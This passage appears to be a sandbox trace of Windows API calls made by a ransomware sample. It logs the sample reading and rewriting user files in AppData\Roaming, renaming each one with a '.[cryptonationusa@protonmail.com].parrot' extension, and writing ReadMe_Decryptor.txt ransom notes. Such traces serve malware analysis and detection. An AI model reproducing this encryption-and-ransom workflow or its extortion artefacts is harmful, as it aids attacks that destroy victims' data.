HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.869] WriteFile (in: hFile=0x2d4, lpBuffer=0x2919e20*, nNumberOfBytesToWrite=0x108a8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2919e20*, lpNumberOfBytesWritten=0x18fa94*=0x108a8, lpOverlapped=0x0) returned 1 [0047.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0047.869] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1089f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.869] CloseHandle (hObject=0x2d4) returned 1 [0047.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0047.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0047.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0047.870] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bfd8_hoTp -Jb_TbDo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bfd8_hotp -jb_tbdo.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bfd8_hoTp -Jb_TbDo.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bfd8_hotp -jb_tbdo.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0047.871] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0047.871] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0047.871] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0047.871] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0047.871] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0047.871] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0047.872] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0047.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0047.872] GetFileType (hFile=0x2d4) returned 0x1 [0047.873] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0047.883] lstrcmpW (lpString1="bh06VdP5 HMydEego.avi", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bh06VdP5 HMydEego.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bh06vdp5 hmydeego.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0047.883] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x3920 [0047.883] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a38, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.883] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0047.883] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0047.884] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.884] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x3920, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x3920, lpOverlapped=0x0) returned 1 [0047.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0047.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0047.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0047.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0047.884] GetLastError () returned 0x0 [0047.884] SetLastError (dwErrCode=0x0) [0047.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0047.885] GetLastError () returned 0x0 [0047.885] SetLastError (dwErrCode=0x0) [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.885] GetLastError () returned 0x0 [0047.885] SetLastError (dwErrCode=0x0) [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0047.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0047.885] GetLastError () returned 0x0 [0047.885] SetLastError (dwErrCode=0x0) [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0047.886] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0047.886] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0047.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x28fde30 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x2903eb0 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x28d9df0 [0047.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2903eb0 | out: hHeap=0x540000) returned 1 [0047.890] WriteFile (in: hFile=0x2d4, lpBuffer=0x28d9e00*, nNumberOfBytesToWrite=0x3a48, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x28d9e00*, lpNumberOfBytesWritten=0x18fa94*=0x3a48, lpOverlapped=0x0) returned 1 [0047.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.891] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.891] CloseHandle (hObject=0x2d4) returned 1 [0047.892] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0047.892] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0047.892] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0047.892] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bh06VdP5 HMydEego.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bh06vdp5 hmydeego.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bh06VdP5 HMydEego.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bh06vdp5 hmydeego.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0047.892] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0047.892] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0047.892] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0048.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0048.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0048.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0048.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.065] GetFileType (hFile=0x2d4) returned 0x1 [0048.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0048.075] lstrcmpW (lpString1="c0-xoLFRw7.jpg", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c0-xoLFRw7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c0-xolfrw7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.076] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x168ca [0048.076] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x169e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.076] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.076] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0048.077] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.077] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x168ca, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x168ca, lpOverlapped=0x0) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0048.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0048.078] GetLastError () returned 0x0 [0048.078] SetLastError (dwErrCode=0x0) [0048.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0048.078] GetLastError () returned 0x0 [0048.078] SetLastError (dwErrCode=0x0) [0048.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.078] GetLastError () returned 0x0 [0048.078] SetLastError (dwErrCode=0x0) [0048.078] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0048.078] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0048.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0048.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0048.079] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.079] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0048.080] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0048.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0048.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x61c990 [0048.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0048.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5f4c88 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0048.083] GetLastError () returned 0x0 [0048.083] SetLastError (dwErrCode=0x0) [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0048.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0048.083] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0048.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0048.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0048.084] HeapFree (in: 